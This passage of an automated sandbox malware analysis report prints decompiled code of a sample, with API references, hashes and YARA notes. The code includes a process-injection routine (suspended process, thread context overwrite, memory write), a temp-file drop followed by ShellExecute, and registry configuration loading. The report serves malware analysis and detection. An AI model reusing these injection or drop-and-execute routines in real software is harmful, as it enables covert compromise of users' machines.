				_push(_t29 % _t62);
				_push(E0040ECA5() % _t62);
				_push(E0040ECA5() % _t62);
				_push(E0040ECA5() % _t62);
				_push( &_v1032);
				wsprintfA(_a8, E00402544(0x4122f8, 0x410794, 0xf, 0xe4, 0xc8));
				E0040EE2A(_t62, 0x4122f8, 0, 0x100);
				_t64 = CreateFileA(_a8, 0x40000000, 0, 0, 2, 0, 0);
				if(_t64 <= 0) {
					return 0;
				}
				WriteFile(_t64, _a4, lstrlenA(_a4),  &_v8, 0);
				CloseHandle(_t64);
				return 1;
			}

0x0040907b
0x00409088
0x0040908e
0x00409095
0x0040909c
0x004090a8
0x004090b4
0x004090c9
0x004090ca
0x004090e9
0x004090f8
0x00409114
0x00409118
0x00000000
0x0040913f
0x0040912d
0x00409134
0x00000000

APIs

GetTempPathA.KERNEL32(00000400,?,00000000,PromptOnSecureDesktop), ref: 0040907B
wsprintfA.USER32 ref: 004090E9
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040910E
lstrlenA.KERNEL32(00000000,00000100,00000000), ref: 00409122
WriteFile.KERNEL32(00000000,00000000,00000000), ref: 0040912D
CloseHandle.KERNEL32(00000000), ref: 00409134

Strings

PromptOnSecureDesktop, xrefs: 0040906D, 004090C4, 004090DC, 004090F7

Memory Dump Source

Source File: 00000011.00000002.796450954.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.796474557.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_D936.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandlePathTempWritelstrlenwsprintf
String ID: PromptOnSecureDesktop
API String ID: 2439722600-2980165447
Opcode ID: f28af15f22a92dcef6476bc2819c454602b50741f9449e0ae3514995eeab5b50
Instruction ID: 58bbe077760212e8da181cf829ffda1a70542de1f4ba4b23f7e3a80b8f6fba70
Opcode Fuzzy Hash: f28af15f22a92dcef6476bc2819c454602b50741f9449e0ae3514995eeab5b50
Instruction Fuzzy Hash: 451175B26401147AF7246723DD0AFEF3A6DDBC8704F04C47AB70AB50D1EAB94A519668

Uniqueness

Uniqueness Score: -1.00%

Function 022B92B4, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 83filestringCOMMON

Download Yara Rule

APIs

GetTempPathA.KERNEL32(00000400,?), ref: 022B92CB
wsprintfA.USER32 ref: 022B9339
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 022B935E
lstrlen.KERNEL32(?,?,00000000), ref: 022B9372
WriteFile.KERNEL32(00000000,?,00000000), ref: 022B937D
CloseHandle.KERNEL32(00000000), ref: 022B9384

Strings

PromptOnSecureDesktop, xrefs: 022B9314, 022B932C, 022B9347

Memory Dump Source

Source File: 00000011.00000002.797091655.00000000022B0000.00000040.00000001.sdmp, Offset: 022B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22b0000_D936.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandlePathTempWritelstrlenwsprintf
String ID: PromptOnSecureDesktop
API String ID: 2439722600-2980165447
Opcode ID: 15e5744a609ce20ae0f07ead06a63c4ecb295d114b6c11b49a51968f57c888d1
Instruction ID: a8d278da3fa33bd66f07e635ca045cd9b07977cf2569cf68faa88ad403b71a3a
Opcode Fuzzy Hash: 15e5744a609ce20ae0f07ead06a63c4ecb295d114b6c11b49a51968f57c888d1
Instruction Fuzzy Hash: 4211E7B66102147BE7216761DC09FEF3A6EDFC8750F00C065BB09E5094EEB04E418BA4

Uniqueness

Uniqueness Score: -1.00%

Function 022B99CC, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 82threadinjectionprocessCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 022B9A01
GetThreadContext.KERNEL32(?,?), ref: 022B9A3B
TerminateProcess.KERNEL32(?,00000000), ref: 022B9A49
WriteProcessMemory.KERNEL32(?,?,?,00000004,00000000), ref: 022B9A81
SetThreadContext.KERNEL32(?,00010002), ref: 022B9A9E
ResumeThread.KERNEL32(?), ref: 022B9AAB

Strings

D, xrefs: 022B99F9

Memory Dump Source

Source File: 00000011.00000002.797091655.00000000022B0000.00000040.00000001.sdmp, Offset: 022B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22b0000_D936.jbxd

Yara matches

Similarity

API ID: ProcessThread$Context$CreateMemoryResumeTerminateWrite
String ID: D
API String ID: 2981417381-2746444292
Opcode ID: e2726c898831fa2e77ccd26efcb7f3ad26579022b5c1c2510a23e725eb230ef9
Instruction ID: 388907a40bcacc8cf16ea85508e569f5dcbe52a4a0ceb45918c2a4899b1afac4
Opcode Fuzzy Hash: e2726c898831fa2e77ccd26efcb7f3ad26579022b5c1c2510a23e725eb230ef9
Instruction Fuzzy Hash: EC215C71911219BBDB129BE1DC08EEFBBBCEF06790F004060FA08E1154EB758A84CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 022B1BEC, Relevance: 12.1, APIs: 8, Instructions: 106memorylibraryCOMMON

Download Yara Rule

APIs

inet_addr.WS2_32(004102D8), ref: 022B1C01
LoadLibraryA.KERNEL32(004102C8), ref: 022B1C0F
GetProcessHeap.KERNEL32 ref: 022B1C6D
RtlAllocateHeap.NTDLL(00000000,00000000,00000288), ref: 022B1C86
RtlReAllocateHeap.NTDLL(?,00000000,00000000,?), ref: 022B1CAA
HeapFree.KERNEL32(?,00000000,00000000), ref: 022B1CEB
FreeLibrary.KERNEL32(?), ref: 022B1CF4

Memory Dump Source

Source File: 00000011.00000002.797091655.00000000022B0000.00000040.00000001.sdmp, Offset: 022B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22b0000_D936.jbxd

Yara matches

Similarity

API ID: Heap$AllocateFreeLibrary$LoadProcessinet_addr
String ID:
API String ID: 2324436984-0
Opcode ID: 86649b882a12f673409f1c62972542be89ea1fb211e92df17ca9b312c060c3f6
Instruction ID: 4a0ac1605705aa480cd0aef390936d74ed1ae2abc89c7cb0f76d7d2a7f88dd4d
Opcode Fuzzy Hash: 86649b882a12f673409f1c62972542be89ea1fb211e92df17ca9b312c060c3f6
Instruction Fuzzy Hash: C7316E3291021AAFCB129FE4DC9C8EEBBB5EF45346F24407AF505A2110D7B44E90DB55

Uniqueness

Uniqueness Score: -1.00%

Function 0040E3CA, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 136
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040E3CA(void* __edx, void* _a4, char* _a8, intOrPtr* _a12) {
				int* _v8;
				int _v12;
				void* _v16;
				intOrPtr _v20;
				int _v24;
				int _v28;
				int _v32;
				int* _v36;
				char _v68;
				intOrPtr* _t52;
				int _t69;
				int _t78;
				intOrPtr _t80;
				void* _t82;
				void* _t84;
				void* _t85;
				int _t89;
				void* _t91;
				void* _t92;
				void* _t93;

				_t82 = __edx;
				_v36 = 0;
				if(RegOpenKeyExA(_a4, _a8, 0, 0x20119,  &_v16) != 0) {
					L16:
					return _v36;
				}
				_t52 = _a12;
				_t89 = 0;
				_t6 = _t52 + 1; // 0x4128f9
				_t84 = _t6;
				do {
					_t80 =  *_t52;
					_t52 = _t52 + 1;
				} while (_t80 != 0);
				_t85 = _t52 - _t84;
				_v8 = 0;
				if(_t85 > 0x1c) {
					_t85 = 0x1c;
				}
				E0040EE08( &_v68, _a12, _t85);
				_t56 = _t91 + _t85 - 0x40;
				_v12 = 0;
				_v20 = _t91 + _t85 - 0x40;
				E0040F1ED(0, _t56, 0xa);
				_t93 = _t92 + 0x18;
				if(RegQueryValueExA(_v16,  &_v68, 0,  &_v24, 0,  &_v12) != 0) {
					L15:
					RegCloseKey(_v16);
					goto L16;
				} else {
					do {
						_t89 = _t89 + _v12;
						_v8 = _v8 + 1;
						_v12 = 0;
						E0040F1ED(_v8, _v20, 0xa);
						_t93 = _t93 + 0xc;
					} while (RegQueryValueExA(_v16,  &_v68, 0,  &_v24, 0,  &_v12) == 0);
					if(_t89 <= 0) {
						goto L15;
					}
					_v32 = _t89;
					E0040DB2E(_t89);
					_t69 =  *0x4136c4;
					if(_t69 == 0) {
						goto L15;
					}
					_v12 = _t69;
					_v8 = 0;
					while(1) {
						_v28 = _t89;
						E0040F1ED(_v8, _v20, 0xa);
						_t93 = _t93 + 0xc;
						if(RegQueryValueExA(_v16,  &_v68, 0,  &_v24, _v12,  &_v28) != 0) {
							break;
						}
						_t78 = _v28;
						if(_t78 == 0) {
							break;
						}
						_v12 =  &(_v12[_t78]);
						_t89 = _t89 - _t78;
						_v8 = _v8 + 1;
						if(_t89 > 0) {
							continue;
						}
						break;
					}
					_t106 = _t89;
					if(_t89 == 0) {
						E00402544( *0x4136c4,  *0x4136c4, _v32, 0xe4, 0xc8);
						E0040E332(_t82, _t106,  *0x4136c4, _v32);
						_v36 = 1;
					}
					goto L15;
				}
			}

0x0040e3ca
0x0040e3e0
0x0040e3ee
0x0040e528
0x0040e52d
0x0040e52d
0x0040e3f4
0x0040e3f9
0x0040e3fb
0x0040e3fb
0x0040e3fe
0x0040e3fe
0x0040e400
0x0040e401
0x0040e407
0x0040e409
0x0040e40f
0x0040e413
0x0040e413
0x0040e41c
0x0040e421
0x0040e429
0x0040e42c
0x0040e42f
0x0040e43a
0x0040e452
0x0040e51d
0x0040e520
0x00000000
0x0040e458
0x0040e458
0x0040e458
0x0040e45b
0x0040e463
0x0040e469
0x0040e46e
0x0040e484
0x0040e48a
0x00000000
0x00000000
0x0040e491
0x0040e494
0x0040e499
0x0040e4a1
0x00000000
0x00000000
0x0040e4a3
0x0040e4a6
0x0040e4a9
0x0040e4ae
0x0040e4b4
0x0040e4b9
0x0040e4d3
0x00000000
0x00000000
0x0040e4d5
0x0040e4da
0x00000000
0x00000000
0x0040e4dc
0x0040e4df
0x0040e4e1
0x0040e4e6
0x00000000
0x00000000
0x00000000
0x0040e4e6
0x0040e4e8
0x0040e4ea
0x0040e500
0x0040e50e
0x0040e516
0x0040e516
0x00000000
0x0040e4ea

APIs

RegOpenKeyExA.ADVAPI32(80000001,0040E5F2,00000000,00020119,0040E5F2,PromptOnSecureDesktop), ref: 0040E3E6
RegQueryValueExA.ADVAPI32(0040E5F2,?,00000000,?,00000000,80000001,?,?,?,?,000000C8,000000E4), ref: 0040E44E
RegQueryValueExA.ADVAPI32(0040E5F2,?,00000000,?,00000000,80000001,?,?,?,?,?,?,?,000000C8,000000E4), ref: 0040E482
RegQueryValueExA.ADVAPI32(0040E5F2,?,00000000,?,80000001,?), ref: 0040E4CF
RegCloseKey.ADVAPI32(0040E5F2,?,?,?,?,000000C8,000000E4), ref: 0040E520

Strings

PromptOnSecureDesktop, xrefs: 0040E3D0

Memory Dump Source

Source File: 00000011.00000002.796450954.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.796474557.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_D936.jbxd

Yara matches

Similarity

API ID: QueryValue$CloseOpen
String ID: PromptOnSecureDesktop
API String ID: 1586453840-2980165447
Opcode ID: aa9c7803f1892efbeb2ec60484cf553e29528730025646744f8bae12e973cd09
Instruction ID: f21eb42f94b351107ce6bcf9928d909f9cde6c0f887f3b022360bbb50f243882
Opcode Fuzzy Hash: aa9c7803f1892efbeb2ec60484cf553e29528730025646744f8bae12e973cd09
Instruction Fuzzy Hash: D94106B2D00219BFDF119FD5DC81DEEBBB9EB08308F14487AE910B2291E3359A559B64

Uniqueness

Uniqueness Score: -1.00%

Function 00404280, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 124
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404280(void* __ecx, intOrPtr _a4) {
				void* _v8;
				unsigned int _v12;
				unsigned int _v16;
				void* _v20;
				intOrPtr _v24;
				char _v28;
				signed int _t35;
				signed int _t38;
				signed int _t40;
				void* _t67;
				void* _t68;
				void* _t73;
				intOrPtr* _t74;

				_t68 = __ecx;
				_t35 = CreateEventA(0, 1, 1, 0);
				_v8 = _t35;
				if(_t35 != 0) {
					_t38 = E00404000(E00403ECD(_t68),  &_v20);
					if(_t38 == 0) {
						L11:
						_t40 = CloseHandle(_v8) | 0xffffffff;
						L12:
						return _t40;
					}
					_t67 = _v20;
					_t40 = _t38 | 0xffffffff;
					if(_t67 == _t40) {
						goto L12;
					}
					_v16 = E0040ECA5();
					E00403F18(_t67,  &_v16, 4, _v8, 0x7d0);
					if(E00403F8C(_t67,  &_v12, 4, _v8, 0x7d0) == 0 || _v12 != (_v16 >> 2) + _v16) {
						CloseHandle(_t67);
						goto L11;
					} else {
						_v12 = _v12 + (_v12 >> 2);
						E00403F18(_t67,  &_v12, 4, _v8, 0x7d0);
						_v28 = 1;
						_t73 = 0xc;
						_v24 = 1;
						E00403F18(_t67,  &_v28, 8, _v8, 0x7d0);
						_t74 = E0040EBCC(_t73);
						 *_t74 = 0x61;
						 *((intOrPtr*)(_t74 + 4)) = 2;
						if(_a4 != 0) {
							 *(_t74 + 8) =  *(_t74 + 8) & 0x00000000;
							 *0x41215a =  *0x41215a + 1;
						} else {
							 *(_t74 + 8) = 1;
						}
						E00403F18(_t67, _t74, _v24, _v8, 0x7d0);
						E0040EC2E(_t74);
						E00403F8C(_t67,  &_v12, 4, _v8, 0x7d0);
						CloseHandle(_v8);
						CloseHandle(_t67);
						_t40 = 0 | _a4 == 0x00000000;
						goto L12;
					}
				}
				return _t35 | 0xffffffff;
			}

0x00404280
0x00404290
0x00404296
0x0040429b
0x004042b1
0x004042ba
0x004043c1
0x004043ca
0x004043cd
0x00000000
0x004043ce
0x004042c0
0x004042c3
0x004042c8
0x00000000
0x00000000
0x004042dc
0x004042e6
0x00404300
0x004043bb
0x00000000
0x00404318
0x00404322
0x0040432c
0x00404333
0x00404336
0x00404342
0x00404345
0x00404350
0x00404359
0x0040435f
0x00404366
0x00404371
0x00404375
0x00404368
0x00404368
0x00404368
0x00404384
0x0040438a
0x0040439a
0x004043ab
0x004043ae
0x004043b5
0x00000000
0x004043b5
0x00404300
0x00000000

APIs

CreateEventA.KERNEL32(00000000,00000001,00000001,00000000,00000000,?,004098FD,00000001,00000100,PromptOnSecureDesktop,0040A3C7), ref: 00404290
CloseHandle.KERNEL32(0040A3C7), ref: 004043AB
CloseHandle.KERNEL32(00000001), ref: 004043AE

Strings

PromptOnSecureDesktop, xrefs: 004042A9

Memory Dump Source

Source File: 00000011.00000002.796450954.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.796474557.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_D936.jbxd

Yara matches

Similarity

API ID: CloseHandle$CreateEvent
String ID: PromptOnSecureDesktop
API String ID: 1371578007-2980165447
Opcode ID: 1ca6cf8784600e63233360972df8e8f73f6c7624b12c89556f18688b41653a7a
Instruction ID: 96190e95dfac0256a72039fb05246d043f10f1ed4b28fe2ef93a25e2cd6a7057
Opcode Fuzzy Hash: 1ca6cf8784600e63233360972df8e8f73f6c7624b12c89556f18688b41653a7a
Instruction Fuzzy Hash: D94181B1900209BADB109BA2CD45FDFBFBCEF40355F104566F604B21C1D7789A51DBA4

Uniqueness

Uniqueness Score: -1.00%

Function 022B6CB0, Relevance: 10.6, APIs: 7, Instructions: 106fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000), ref: 022B6CCD
GetDiskFreeSpaceA.KERNEL32(?,?,?,?,?), ref: 022B6D0B
GetLastError.KERNEL32 ref: 022B6D90
CloseHandle.KERNEL32(?), ref: 022B6D9E
GetLastError.KERNEL32 ref: 022B6DBF
DeleteFileA.KERNEL32(?), ref: 022B6DD0
GetLastError.KERNEL32 ref: 022B6DE6

Memory Dump Source

Source File: 00000011.00000002.797091655.00000000022B0000.00000040.00000001.sdmp, Offset: 022B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22b0000_D936.jbxd

Yara matches

Similarity

API ID: ErrorLast$File$CloseCreateDeleteDiskFreeHandleSpace
String ID:
API String ID: 3873183294-0
Opcode ID: f20540f086f6cde11da1c0912bd8b4db093012cd4bd3a0bf5db3ffead886992b
Instruction ID: c6c6742748567c1e47f86ff4687af3197f4a88189b7b1c1b9a92245d048ad117
Opcode Fuzzy Hash: f20540f086f6cde11da1c0912bd8b4db093012cd4bd3a0bf5db3ffead886992b
Instruction Fuzzy Hash: D331ED7281124ABFDB129FE59D44BEE7FBDEF48390F148066F251E3254D7708A848B60

Uniqueness

Uniqueness Score: -1.00%

Function 00427AE8, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 104COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00427B49
__aullrem.LIBCMT ref: 00427D16
__aulldiv.LIBCMT ref: 00427D38

Strings

0, xrefs: 00427B04
9, xrefs: 00427D49
', xrefs: 00427AE8

Memory Dump Source

Source File: 00000011.00000002.796483921.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_415000_D936.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$0$9
API String ID: 3120068967-269856862
Opcode ID: 409b183b6299ef632a0e13276c861cca1fa1d9278fb836ac723477c7ab451c98
Instruction ID: e02361ec30fe9cc249c2dc07c232b2cf3f5fee8b79d1eaf945e7fc5bf1143bcb
Opcode Fuzzy Hash: 409b183b6299ef632a0e13276c861cca1fa1d9278fb836ac723477c7ab451c98
Instruction Fuzzy Hash: 6B4103B1E082298FDB64CF59E889BAEB7B5BF84304F5045DAD008AB341C7389A81CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00434EB7, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 104COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00434F18
__aullrem.LIBCMT ref: 004350E5
__aulldiv.LIBCMT ref: 00435107

Strings

0, xrefs: 00434ED3
9, xrefs: 00435118
', xrefs: 00434EB7

Memory Dump Source

Source File: 00000011.00000002.796483921.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_415000_D936.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$0$9
API String ID: 3120068967-269856862
Opcode ID: 2cb84206010ed5459d3f7d39f241dc7a2205797c5f22d91f5477a294d4303920
Instruction ID: 80723321a96a3560c8ac254c49ca093b063ab05b44bbcdb054bdab2a7a92f2f9
Opcode Fuzzy Hash: 2cb84206010ed5459d3f7d39f241dc7a2205797c5f22d91f5477a294d4303920
Instruction Fuzzy Hash: 2C41D471D05629DFDB24CF58C899BAEB7B5BB88304F24919AD008A7241C7399E85CF85

Uniqueness

Uniqueness Score: -1.00%

Function 00409145, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 56
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E00409145(void* __eflags) {
				char _v264;
				char _v1288;
				char* _t13;
				void* _t20;
				void* _t23;
				void* _t29;

				_t29 = __eflags;
				GetModuleFileNameA(GetModuleHandleA(0),  &_v264, 0x104);
				CharToOemA( &_v264,  &_v264);
				_t13 =  &_v264;
				_push(_t13);
				_push(_t13);
				wsprintfA( &_v1288, E00402544(0x4122f8,  &E004107A8, 0x66, 0xe4, 0xc8));
				E0040EE2A(_t23, 0x4122f8, 0, 0x100);
				_t20 = E00409064(_t29,  &_v1288,  &_v264);
				if(_t20 != 0) {
					return ShellExecuteA(0, 0,  &_v264, 0, 0, 0);
				}
				return _t20;
			}

0x00409145
0x00409166
0x00409174
0x0040917a
0x00409180
0x00409181
0x004091a9
0x004091b6
0x004091c9
0x004091d3
0x00000000
0x004091e1
0x004091ea

APIs

GetModuleHandleA.KERNEL32(00000000,?,00000104,00000100,PromptOnSecureDesktop), ref: 0040915F
GetModuleFileNameA.KERNEL32(00000000), ref: 00409166
CharToOemA.USER32 ref: 00409174
wsprintfA.USER32 ref: 004091A9

Part of subcall function 00409064: GetTempPathA.KERNEL32(00000400,?,00000000,PromptOnSecureDesktop), ref: 0040907B
Part of subcall function 00409064: wsprintfA.USER32 ref: 004090E9
Part of subcall function 00409064: CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040910E
Part of subcall function 00409064: lstrlenA.KERNEL32(00000000,00000100,00000000), ref: 00409122
Part of subcall function 00409064: WriteFile.KERNEL32(00000000,00000000,00000000), ref: 0040912D
Part of subcall function 00409064: CloseHandle.KERNEL32(00000000), ref: 00409134

ShellExecuteA.SHELL32(00000000,00000000,?,00000000,00000000,00000000), ref: 004091E1

Strings

PromptOnSecureDesktop, xrefs: 0040914E, 00409193, 00409198, 004091B5

Memory Dump Source

Source File: 00000011.00000002.796450954.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.796474557.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_D936.jbxd

Yara matches

Similarity

API ID: File$HandleModulewsprintf$CharCloseCreateExecuteNamePathShellTempWritelstrlen
String ID: PromptOnSecureDesktop
API String ID: 3857584221-2980165447
Opcode ID: 69a42f15c0bdb603acf61cfacf6d4b07552c73bbecf68ccfe74a45dc0564b67a
Instruction ID: 6acb945c628b875356ea86accac8c7b18cb61426f44bb7d0566a1afba52fbd3a
Opcode Fuzzy Hash: 69a42f15c0bdb603acf61cfacf6d4b07552c73bbecf68ccfe74a45dc0564b67a
Instruction Fuzzy Hash: 8F016DB69001187BD720A7619D49EDF3A7C9B85705F0000A6BB09E2080DAB89AC48F68

Uniqueness

Uniqueness Score: -1.00%

Function 022B9395, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000,?,00000104), ref: 022B93AF
GetModuleFileNameA.KERNEL32(00000000), ref: 022B93B6
CharToOemA.USER32(?,?), ref: 022B93C4
wsprintfA.USER32 ref: 022B93F9

Part of subcall function 022B92B4: GetTempPathA.KERNEL32(00000400,?), ref: 022B92CB
Part of subcall function 022B92B4: wsprintfA.USER32 ref: 022B9339
Part of subcall function 022B92B4: CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 022B935E
Part of subcall function 022B92B4: lstrlen.KERNEL32(?,?,00000000), ref: 022B9372
Part of subcall function 022B92B4: WriteFile.KERNEL32(00000000,?,00000000), ref: 022B937D
Part of subcall function 022B92B4: CloseHandle.KERNEL32(00000000), ref: 022B9384

ShellExecuteA.SHELL32(00000000,00000000,?,00000000,00000000,00000000), ref: 022B9431

Strings

PromptOnSecureDesktop, xrefs: 022B93E3, 022B93E8, 022B9405

Memory Dump Source

Source File: 00000011.00000002.797091655.00000000022B0000.00000040.00000001.sdmp, Offset: 022B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22b0000_D936.jbxd

Yara matches

Similarity

API ID: File$HandleModulewsprintf$CharCloseCreateExecuteNamePathShellTempWritelstrlen
String ID: PromptOnSecureDesktop
API String ID: 3857584221-2980165447
Opcode ID: ff085cb3efc643ea3343cce32a213b77a8dc5f084f98a1949d4da58a8db7cba0
Instruction ID: 0ed878d3e810be3c465f17b5905c674948d57fb7400603b007890a3d7602a2cb
Opcode Fuzzy Hash: ff085cb3efc643ea3343cce32a213b77a8dc5f084f98a1949d4da58a8db7cba0
Instruction Fuzzy Hash: 8A0152F69002187BDB21A7A19D89FDF777CDB95701F0040A1BB49E2090DAB496C58F75

Uniqueness

Uniqueness Score: -1.00%

Function 022BAA11, Relevance: 9.2, APIs: 4, Strings: 2, Instructions: 247stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?), ref: 022BAACE

Strings

localcfg, xrefs: 022BAD5B
, xrefs: 022BAB9C

Memory Dump Source

Source File: 00000011.00000002.797091655.00000000022B0000.00000040.00000001.sdmp, Offset: 022B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22b0000_D936.jbxd

Yara matches

Similarity

API ID: lstrlen
String ID: $localcfg
API String ID: 1659193697-2018645984
Opcode ID: e25caa720acfe6edeb1ed6cfdeeca69567da959aa4b90cf3eb174d19221d8523
Instruction ID: a5a70fea9e8657cead4de337dafc6514204ebcdd29553881a87b30cb2608d122
Opcode Fuzzy Hash: e25caa720acfe6edeb1ed6cfdeeca69567da959aa4b90cf3eb174d19221d8523
Instruction Fuzzy Hash: 25714A72A70307BADF338BD8DC85FEE3769EF00789F144426F905A2098DFA599848B55

Uniqueness

Uniqueness Score: -1.00%

Function 0040E8A1, Relevance: 9.2, APIs: 4, Strings: 2, Instructions: 172
stringCOMMON

Download Yara Rule

C-Code - Quality: 98%

			E0040E8A1(void* __edx, char _a4, CHAR* _a8, CHAR* _a12, CHAR* _a16) {
				CHAR* _v8;
				signed int _v12;
				intOrPtr _v16;
				CHAR* _v20;
				intOrPtr _v24;
				CHAR* _v28;
				CHAR* _v32;
				intOrPtr _v36;
				char _v37;
				char _v52;
				char _v56;
				intOrPtr _t87;
				intOrPtr _t95;
				int _t126;
				void* _t136;
				void* _t138;
				CHAR* _t139;
				void* _t146;
				char _t150;
				void* _t154;
				void* _t158;
				void* _t159;

				_t146 = __edx;
				_v20 = 0;
				E0040DD05();
				_t150 = _a4;
				_t158 = E0040DD84(_t150, _a8);
				_pop(_t138);
				if(_t158 != 0) {
					L2:
					_t16 = _t158 + 0x30; // 0x30
					_v8 = E00402419(_t138, _t16,  *((intOrPtr*)(_t158 + 0x24)), _a12);
					_t21 = lstrlenA(_a12) + 1; // 0x1
					_t136 = _t21;
					_t87 = lstrlenA(_a16) + _t136 + 1;
					_v16 = _t87;
					if(_v8 == 0) {
						_t139 =  *((intOrPtr*)(_t158 + 0x24));
						_v12 = _v12 & 0x00000000;
						_v8 = _t139;
						_t152 = _t139;
					} else {
						_t126 = lstrlenA(_v8);
						_t152 = _v8 - _t136 - _t158 + 0xffffffd0;
						_v12 = _t126 + _t136 + 1;
						_t87 = _v16;
						_v8 = _v8 - _t136 - _t158 + 0xffffffd0;
					}
					if(_v12 == _t87) {
						E0040EE08(_t152 + _t158 + 0x30, _a12, _t136);
						E0040EE08(_t152 + _t136 + _t158 + 0x30, _a16, _v16 - _t136);
						_t77 = _t158 + 0x30; // 0x30
						_t95 = E004024C2(_t77,  *((intOrPtr*)(_t158 + 0x24)), 0);
						if( *((intOrPtr*)(_t158 + 0x20)) != _t95) {
							 *((intOrPtr*)(_t158 + 0x20)) = _t95;
							 *0x4136c0 = 1;
						}
					} else {
						_t41 = _t87 + 0x24; // 0x24
						_t154 = E0040EBCC( *((intOrPtr*)(_t158 + 0x24)) - _v12 + _t41);
						if(_t154 != 0) {
							_t43 = _t158 + 0xc; // 0xc
							E0040EE08(_t154, _t43,  &(_v8[0x24]));
							 *((intOrPtr*)(_t154 + 0x18)) =  *((intOrPtr*)(_t158 + 0x24)) - _v12 + _v16;
							_v20 =  &(_v8[_t154]);
							E0040EE08( &(( &(_v8[_t154]))[0x24]), _a12, _t136);
							E0040EE08( &(_v20[_t136 + 0x24]), _a16, _v16 - _t136);
							E0040EE08( &(_v20[_v16 + 0x24]),  &(( &(_v8[_v12]))[_t158 + 0x30]),  *((intOrPtr*)(_t158 + 0x24)) - _v8 - _v12);
							_t66 = _t154 + 0x24; // 0x24
							 *((intOrPtr*)(_t154 + 0x14)) = E004024C2(_t66,  *((intOrPtr*)(_t154 + 0x18)), 0);
							E0040DF4C( *((intOrPtr*)(_t158 + 0x24)) - _v8 - _v12, _t154);
							E0040EC2E(_t154);
							_v20 = 1;
						}
					}
					L10:
					E0040DD69();
					return _v20;
				}
				_v56 = _t150;
				_v28 = 0;
				_v24 = 3;
				lstrcpynA( &_v52, _a8, 0x10);
				_v37 = 0;
				_v32 = 0;
				_v36 = E004024C2( &_v20, 0, 0);
				E0040DF4C(_t146,  &_v56);
				_t158 = E0040DD84(_t150, _a8);
				_t159 = _t159 + 0x18;
				if(_t158 == 0) {
					goto L10;
				}
				goto L2;
			}

0x0040e8a1
0x0040e8ac
0x0040e8af
0x0040e8b7
0x0040e8c0
0x0040e8c3
0x0040e8c6
0x0040e917
0x0040e91a
0x0040e932
0x0040e93a
0x0040e93a
0x0040e943
0x0040e947
0x0040e94a
0x0040e96a
0x0040e96d
0x0040e971
0x0040e974
0x0040e94c
0x0040e94f
0x0040e95c
0x0040e95f
0x0040e962
0x0040e965
0x0040e965
0x0040e979
0x0040ea3a
0x0040ea4f
0x0040ea59
0x0040ea5d
0x0040ea68
0x0040ea6a
0x0040ea6d
0x0040ea6d
0x0040e97f
0x0040e985
0x0040e98f
0x0040e994
0x0040e9a1
0x0040e9a6
0x0040e9b8
0x0040e9c0
0x0040e9c7
0x0040e9dd
0x0040ea02
0x0040ea0c
0x0040ea16
0x0040ea19
0x0040ea22
0x0040ea28
0x0040ea28
0x0040e994
0x0040ea77
0x0040ea77
0x0040ea83
0x0040ea83
0x0040e8d1
0x0040e8d4
0x0040e8d7
0x0040e8de
0x0040e8ea
0x0040e8ed
0x0040e8f5
0x0040e8fc
0x0040e90a
0x0040e90c
0x0040e911
0x00000000
0x00000000
0x00000000

APIs

Part of subcall function 0040DD05: GetTickCount.KERNEL32 ref: 0040DD0F
